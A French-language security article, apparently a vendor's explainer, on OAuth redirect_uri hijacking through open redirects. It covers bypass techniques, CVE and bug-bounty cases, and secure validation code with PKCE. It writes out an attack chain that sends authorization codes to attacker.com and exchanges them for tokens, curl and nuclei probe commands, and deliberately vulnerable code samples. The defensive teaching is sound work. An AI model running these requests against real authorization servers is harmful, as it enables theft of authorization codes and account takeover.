Détournement OAuth redirect_uri (CWE-601) : open redirect sur le serveur d'autorisation permettant d'intercepter les codes OAuth ou tokens d'accès.
TL;DR
code_verifier mais ne prévient pas l'exfiltration du coderedirect_uri + enregistrement d'URIs complets incluant le cheminLe détournement OAuth redirect_uri est la forme la plus grave de redirection ouverte (CWE-601). Le flux de code d'autorisation OAuth 2.0 repose sur le paramètre redirect_uri pour livrer le code d'autorisation à l'application cliente légitime. Une redirection ouverte sur un URI de redirection enregistré, ou une validation insuffisante du redirect_uri lui-même, permet à un attaquant d'intercepter le code d'autorisation et de l'échanger contre des tokens d'accès — atteignant une prise de contrôle de compte complète sans que la victime le sache.
La vulnérabilité relève d'OWASP A01:2021 (Broken Access Control) et correspond spécifiquement aux considérations de sécurité RFC 6749 §4.1. Le CVSS de base pour une redirection ouverte isolée est 6.1, mais une redirection ouverte dans un contexte OAuth atteint CVSS 8.6-9.8 car elle permet le vol de code d'autorisation et l'usurpation d'identité. CVE-2021-29156 (ForgeRock OpenAM) a été noté CVSS 9.8 ; CVE-2024-23832 (Mastodon) 9.4.
HackerOne #112614 (redirection ouverte OAuth Twitter, 1 470 $) est la référence canonique en bug bounty démontrant que l'industrie de la sécurité traite les redirections ouvertes dans un contexte OAuth comme des findings haute gravité.
L'attaque nécessite deux conditions :
redirect_uri contenant des paramètres ajoutant une redirection ouverte, OU l'application cliente a une redirection ouverte sur son URL de callback enregistrée.# Étape 1 : L'attaquant crée une requête d'autorisation
GET /oauth/authorize?
response_type=code&
client_id=app_legitime&
redirect_uri=https%3A%2F%2Fapp-de-confiance.com%2Fcallback%3Fnext%3Dhttps%3A%2F%2Fattacker.com%2Fcapture&
scope=openid+profile+email&
state=valeur_state_aleatoire
Host: serveur-autorisation.com
# Étape 2 : Le serveur d'autorisation (avec correspondance par préfixe) valide que redirect_uri
# commence par https://app-de-confiance.com/callback — passe — ajoute le code :
# Location: https://app-de-confiance.com/callback?next=https://attacker.com/capture&code=CODE_AUTH_ICI
# Étape 3 : app-de-confiance.com/callback lit le param next, redirige (redirection ouverte) :
# Location: https://attacker.com/capture?code=CODE_AUTH_ICI
# Étape 4 : L'attaquant échange le code :
POST /oauth/token HTTP/1.1
Host: serveur-autorisation.com
grant_type=authorization_code&
code=CODE_AUTH_ICI&
redirect_uri=https%3A%2F%2Fapp-de-confiance.com%2Fcallback%3Fnext%3D...&
client_id=app_legitime&
client_secret=SECRET_OU_PUBLIC| Technique | Mécanisme | Condition Requise |
|---|---|---|
| Redirection ouverte sur callback enregistré | Client a ?next= sur URL /callback | Correspondance par préfixe dans AS |
| Bypass correspondance par préfixe | AS accepte tout URI commençant par le préfixe enregistré | AS utilise startsWith pas == |
| Bypass wildcard sous-domaine | Enregistrer *.example.com → attaquant contrôle sous-domaine | Enregistrement wildcard autorisé |
| Traversée de chemin dans redirect_uri | redirect_uri avec /../ normalisé | AS normalise avant enregistrement |
| Vol de token flux implicite | Token d'accès dans fragment URL — pas d'échange nécessaire | App utilise flux implicite déprécié |
Quand le navigateur navigue vers https://attacker.com/capture?code=CODE_AUTH, chaque requête de sous-ressource inclut le header Referer avec l'URL complète :
GET /tracker.gif HTTP/1.1
Host: analytics.tierce.com
Referer: https://attacker.com/capture?code=CODE_AUTH_ICIL'attaquant n'a pas besoin de JavaScript explicite pour capturer le code — toute requête vers une ressource tierce sur la page de destination le fuit via Referer.
CVE-2021-29156 — ForgeRock OpenAM (CVSS 9.8)
Le paramètre goto acceptait des URLs externes arbitraires dans les flux OAuth et d'authentification de ForgeRock. Pendant l'autorisation, le code était ajouté à goto avant redirection : goto=https://attacker.com?code=CODE. L'attaquant échangeait le code contre des tokens. CVSS 9.8 car il n'y avait pas d'exigence de client_secret dans la configuration par défaut de ForgeRock.
CVE-2025-30215 — Forgejo OAuth (CVSS 8.1)
L'implémentation OAuth2 de Forgejo acceptait des valeurs redirect_uri contenant des patterns de traversée de chemin contournant la validation d'exacte correspondance. Corrigé en appliquant la stricte correspondance RFC 6749 §3.1.2.
CVE-2024-23832 — Mastodon (CVSS 9.4)
Le flux de suivi distant de Mastodon utilisait des tokens OAuth pour l'authentification cross-instance. Le redirect_uri dans le flux OAuth n'était pas strictement validé. Combiné avec une redirection ouverte sur l'instance Mastodon ciblée, un attaquant pouvait voler des tokens d'autorisation.
HackerOne #112614 — Twitter OAuth (1 470 $)
Le flux OAuth callback de Twitter avait une redirection ouverte sur l'URL de callback enregistrée. Le code d'autorisation était livré au callback avec la chaîne de redirection ouverte, qui le transférait au serveur de l'attaquant. Twitter a corrigé en supprimant la redirection ouverte du callback et en implémentant une validation redirect_uri d'exacte correspondance stricte.
HackerOne #2293731 — Wildcard redirect_uri (3 000 $)
Un fournisseur d'identité majeur autorisait l'enregistrement wildcard redirect_uri (*.example.com). L'attaquant a identifié un enregistrement DNS expiré pour staging.example.com, l'a enregistré sur un fournisseur cloud, et a utilisé redirect_uri=https://staging.example.com/callback. Le serveur d'autorisation l'a accepté ; le code a été livré au sous-domaine contrôlé par l'attaquant.
Une vulnérabilité de redirection ouverte sur votre endpoint de callback OAuth est toujours un problème de sécurité critique quelle que soit son score CVSS isolé. Si votre application a /callback?next= et est enregistrée comme client OAuth, supposez que le code d'autorisation peut être volé. Corrigez la redirection ouverte ET vérifiez votre enregistrement redirect_uri pour les patterns préfixe ou wildcard.
/oauth/authorize, /connect/authorize, /auth, /authorize.redirect_uri enregistré de l'application (souvent visible dans l'historique Burp ou les paramètres OAuth de l'application).redirect_uri — ajouter un paramètre de requête : redirect_uri=https://host-enregistre.com/callback?next=https://attacker.com. Vérifier si le serveur d'autorisation l'accepte.redirect_uri=https://host-enregistre.com/callback/chemin/extra/.https://host-enregistre.com/callback?next=https://attacker.com redirige-t-il vers attacker.com ?# Tester la validation redirect_uri sur l'endpoint d'autorisation
curl -v "https://auth.example.com/oauth/authorize?
client_id=app_connue&
redirect_uri=https%3A%2F%2Fregistre.example.com%2Fcallback%3Fnext%3Dhttps%3A%2F%2Fattacker.com&
response_type=code&
scope=openid"
# Templates nuclei de misconfiguration OAuth
nuclei -u https://auth.example.com -t exposures/apis/oauth/
# Vérifier le callback enregistré pour la redirection ouverte
nuclei -u "https://registre.example.com/callback?next=https://canary.oast.fun" \
-t fuzzing/redirect-params.yamlBreachVex détecte les misconfigurations OAuth redirect_uri en testant les endpoints d'autorisation avec des valeurs redirect_uri modifiées incluant des chaînes de redirection ouverte sur les URLs de callback découverts. Les findings confirmés nécessitent que le serveur d'autorisation accepte l'URI modifié et qu'un canary out-of-band reçoive un callback HTTP contenant la valeur state.
# Serveur d'autorisation — Python (FastAPI)
# MAUVAISE PRATIQUE — correspondance par préfixe
def validate_redirect_uri(requested: str, client: OAuthClient) -> bool:
return any(requested.startswith(reg) for reg in client.registered_uris)
# BONNE PRATIQUE — comparaison exacte de chaîne RFC 6749 §3.1.2
def validate_redirect_uri(requested: str, client: OAuthClient) -> bool:
return requested in client.registered_uris # Correspondance exacte
@app.get("/oauth/authorize")
async def authorize(
redirect_uri: str,
client_id: str,
):
client = await get_oauth_client(client_id)
if not validate_redirect_uri(redirect_uri, client):
raise HTTPException(400, "invalid_request: redirect_uri mismatch")// MAUVAISE PRATIQUE — callback avec redirection ouverte
app.get("/oauth/callback", (req, res) => {
const code = req.query.code;
const next = req.query.next; // Redirection ouverte via ?next=
res.redirect(next || "/dashboard"); // Vulnérable
});
// BONNE PRATIQUE — pas de paramètre URL, état côté serveur uniquement
app.get("/oauth/callback", async (req, res) => {
const code = req.query.code;
const state = req.query.state;
// Valider le state (protection CSRF)
const savedState = req.session.oauthState;
if (state !== savedState) return res.status(400).send("State mismatch");
// Échanger le code contre des tokens
const tokens = await exchangeCode(code);
req.session.tokens = tokens;
// Destination récupérée depuis la session — jamais depuis l'URL
const destination = req.session.postLoginDestination || "/dashboard";
delete req.session.postLoginDestination;
res.redirect(destination);
});import hashlib, base64, secrets
def generate_pkce() -> tuple[str, str]:
code_verifier = secrets.token_urlsafe(32)
code_challenge = base64.urlsafe_b64encode(
hashlib.sha256(code_verifier.encode()).digest()
).rstrip(b"=").decode()
return code_verifier, code_challenge
# Dans la requête d'autorisation
code_verifier, code_challenge = generate_pkce()
session["pkce_verifier"] = code_verifier # Stocker côté serveur
auth_url = (
f"https://auth.example.com/oauth/authorize"
f"?client_id={CLIENT_ID}"
f"&redirect_uri={REGISTERED_URI}" # Correspondance exacte, pas de params extra
f"&code_challenge={code_challenge}"
f"&code_challenge_method=S256"
f"&response_type=code"
)Le serveur d'autorisation OAuth ajoute le code d'autorisation au redirect_uri avant d'y rediriger le navigateur : redirect_uri?code=CODE_AUTH. Si redirect_uri contient une redirection ouverte sur un domaine de confiance enregistré — ex: https://trusted.com/redirect?next=https://evil.com — le serveur ajoute le code à cette URL. Le navigateur suit vers trusted.com, qui redirige vers evil.com avec ?code=CODE_AUTH. Le serveur de l'attaquant reçoit le code et l'échange contre des tokens d'accès.
RFC 6749 §3.1.2 requiert une comparaison exacte de chaîne entre le redirect_uri dans la requête d'autorisation et le redirect_uri pré-enregistré. Pas de correspondance par préfixe, pas de wildcard, pas de tolérance pour les traversées de chemin. L'URI complet incluant schéma, hôte, chemin et chaîne de requête doit correspondre caractère par caractère. Tout écart doit être rejeté avec une réponse d'erreur.
CVE-2025-30215 (CVSS 8.1) affecte Forgejo (le fork de Gitea). L'endpoint d'autorisation OAuth2 acceptait des valeurs redirect_uri contenant des patterns de traversée de chemin contournant la validation d'exacte correspondance. Un attaquant avec une application OAuth enregistrée sur l'instance Forgejo pouvait forgé un redirect_uri qui, combiné avec une redirection ouverte sur le domaine de callback, permettait l'interception du code d'autorisation. Corrigé en appliquant la stricte correspondance RFC 6749 §3.1.2.
Quand le navigateur navigue depuis https://evil.com?code=CODE_AUTH vers n'importe quelle sous-ressource sur evil.com (images, scripts, analytics), le header Referer contient l'URL complète incluant ?code=CODE_AUTH. Tout script tiers sur evil.com reçoit le code d'autorisation via le header Referer. Ce chemin de fuite secondaire rend la chaîne plus fiable — même sans code de capture explicite.
L'enregistrement wildcard comme *.example.com permet à n'importe quel sous-domaine d'être un redirect_uri valide. Un attaquant qui peut enregistrer un sous-domaine (via subdomain takeover, enregistrement DNS expiré, ou abus de bureau d'enregistrement) peut utiliser evil.example.com comme redirect_uri. Le serveur d'autorisation l'accepte ; le code est livré au sous-domaine contrôlé par l'attaquant.
Dans le flux de code d'autorisation (RFC 6749 §4.1), la redirection porte le code d'autorisation — une valeur à usage unique et courte durée de vie qui doit être échangée contre des tokens au token endpoint. L'attaquant doit faire un appel serveur-à-serveur pour compléter l'échange, nécessitant le client_secret. Dans le flux implicite (déprécié), le token d'accès lui-même est dans le fragment URL — pas d'échange requis, accès immédiat au compte.
PKCE (Proof Key for Code Exchange, RFC 7636) lie le code d'autorisation à un code_verifier connu uniquement du client légitime. Même si le code est volé via redirection ouverte, l'attaquant ne peut pas l'échanger sans le code_verifier. PKCE est obligatoire pour les clients publics (SPAs, applications mobiles) selon RFC 9700. Cependant, PKCE ne prévient pas l'exfiltration de token si l'attaquant peut aussi observer le code_verifier (ex: via XSS sur le client).
Le paramètre state (RFC 6749 §4.1.1) est un mécanisme de protection CSRF — c'est une valeur aléatoire que le client inclut et que le serveur répercute. Il prévient le CSRF sur le callback OAuth mais NE prévient PAS les attaques de redirection ouverte. Ces attaques interceptent le code d'autorisation avant qu'il atteigne le client légitime — le paramètre state est non pertinent car l'attaquant reçoit le state aussi (il est dans l'URL de redirection avec le code).
Burp Suite avec extensions JWT Editor et OAuth Scanner. Tests manuels dans Burp Repeater — modifier redirect_uri et observer si le serveur d'autorisation accepte la valeur modifiée. nuclei avec templates de misconfiguration OAuth. Les labs Web Security Academy de PortSwigger offrent une pratique sur tous les patterns de manipulation redirect_uri.